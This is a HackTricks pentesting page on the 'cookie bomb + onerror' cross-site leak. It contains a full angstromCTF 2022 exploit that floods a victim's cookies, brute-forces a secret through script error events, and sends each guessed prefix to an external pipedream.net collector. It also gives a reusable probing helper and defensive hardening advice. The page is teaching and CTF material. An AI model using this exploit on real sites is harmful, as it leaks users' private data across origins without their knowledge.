hacktricks/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md

131 lines
7.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cookie Bomb + Onerror XS Leak
{{#include ../../banners/hacktricks-training.md}}
This technique combines:
- Cookie bombing: stuffing the victims browser with many/large cookies for the target origin so that subsequent requests hit server/request limits (request header size, URL size in redirects, etc.).
- Error-event oracle: probing a cross-origin endpoint with a <script> (or other subresource) and distinguishing states with onload vs onerror.
High level idea
- Find a target endpoint whose behavior differs for two states you want to test (e.g., search “hit” vs “miss”).
- Ensure the “hit” path will trigger a heavy redirect chain or long URL while the “miss” path stays short. Inflate request headers using many cookies so that only the “hit” path causes the server to fail with an HTTP error (e.g., 431/414/400). The error flips the onerror event and becomes an oracle for XS-Search.
When does this work
- You can cause the victim browser to send cookies to the target (e.g., cookies are SameSite=None or you can set them in a first-party context via a popup window.open).
- There is an app feature you can abuse to set arbitrary cookies (e.g., “save preference” endpoints that turn controlled input names/values into Set-Cookie) or to make post-auth redirects that incorporate attacker-controlled data into the URL.
- The server reacts differently on the two states and, with inflated headers/URL, one state crosses a limit and returns an error response that triggers onerror.
Note on server errors used as the oracle
- 431 Request Header Fields Too Large is commonly returned when cookies inflate request headers; 414 URI Too Long or a server-specific 400 may be returned for long request targets. Any of these result in a failed subresource load and fire onerror. [MDN documents 431 and typical causes like excessive cookies.]()
Practical example (angstromCTF 2022)
The following script (from a public writeup) abuses a feature that lets the attacker insert arbitrary cookies, then loads a cross-origin search endpoint as a script. When the query is correct, the server performs a redirect that, together with the cookie bloat, exceeds server limits and returns an error status, so script.onerror fires; otherwise nothing happens.
```html
<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
<input id="f" /><input name="search" value="a" />
</form>
<script>
const $ = document.querySelector.bind(document)
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
let i = 0
const stuff = async (len = 3500) => {
let name = Math.random()
$("form").target = name
let w = window.open("", name)
$("#f").value = "_".repeat(len)
$("#f").name = i++
$("form").submit()
await sleep(100)
}
const isError = async (url) => {
return new Promise((r) => {
let script = document.createElement("script")
script.src = url
script.onload = () => r(false)
script.onerror = () => r(true)
document.head.appendChild(script)
})
}
const search = (query) => {
return isError(
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
)
}
const alphabet =
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
const url = "//en4u1nbmyeahu.x.pipedream.net/"
let known = "actf{"
window.onload = async () => {
navigator.sendBeacon(url + "?load")
await Promise.all([stuff(), stuff(), stuff(), stuff()])
await stuff(1600)
navigator.sendBeacon(url + "?go")
while (true) {
for (let c of alphabet) {
let query = known + c
if (await search(query)) {
navigator.sendBeacon(url, query)
known += c
break
}
}
}
}
</script>
```
Why the popup (window.open)?
- Modern browsers increasingly block third-party cookies. Opening a top-level window to the target makes cookies firstparty so Set-Cookie responses from the target will stick, enabling the cookie-bomb step even with thirdparty cookie restrictions.
Generic probing helper
If you already have a way to set many cookies on the target origin (first-party), you can reuse this minimal oracle against any endpoint whose success/failure leads to different network outcomes (status/MIME/redirect):
```js
function probeError(url) {
return new Promise((resolve) => {
const s = document.createElement('script');
s.src = url;
s.onload = () => resolve(false); // loaded successfully
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
document.head.appendChild(s);
});
}
```
Tips to build the oracle
- Force the “positive” state to be heavier: chain an extra redirect only when the predicate is true, or make the redirect URL reflect unbounded user input so it grows with the guessed prefix.
- Inflate headers: repeat cookie bombing until a consistent error is observed on the “heavy” path. Servers commonly cap header size and will fail sooner when many cookies are present.
- Stabilize: fire multiple parallel cookie set operations and probe repeatedly to average out timing and caching noise.
Related XS-Search tricks
- URL length based oracles (no cookies needed) can be combined or used instead when you can force a very long request target:
{{#ref}}
url-max-length-client-side.md
{{#endref}}
Defenses and hardening
- Make success/failure responses indistinguishable:
- Avoid conditional redirects or large differences in response size between states. Return the same status, same content type, and similar body length regardless of state.
- Block cross-site subresource probes:
- SameSite cookies: set sensitive cookies to SameSite=Lax or Strict so subresource requests like <script src> dont carry them; prefer Strict for auth tokens when possible.
- Fetch Metadata: enforce a Resource Isolation Policy to reject cross-site subresource loads (e.g., if Sec-Fetch-Site != same-origin/same-site).
- Cross-Origin-Resource-Policy (CORP): set CORP: same-origin (or at least same-site) for endpoints not meant to be embedded as cross-origin subresources.
- X-Content-Type-Options: nosniff and correct Content-Type on JSON/HTML endpoints to avoid load-as-script quirks.
- Reduce header/URL amplification:
- Cap the number/size of cookies set; sanitize features that turn arbitrary form fields into Set-Cookie.
- Normalize or truncate reflected data in redirects; avoid embedding attacker-controlled long strings in Location URLs.
- Keep server limits consistent and fail uniformly (avoid special error pages only for one branch).
Notes
- This class of attacks is discussed broadly as “Error Events” XS-Leaks. The cookie-bomb step is just a convenient way to push only one branch over server limits, producing a reliable boolean oracle.
## References
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
{{#include ../../banners/hacktricks-training.md}}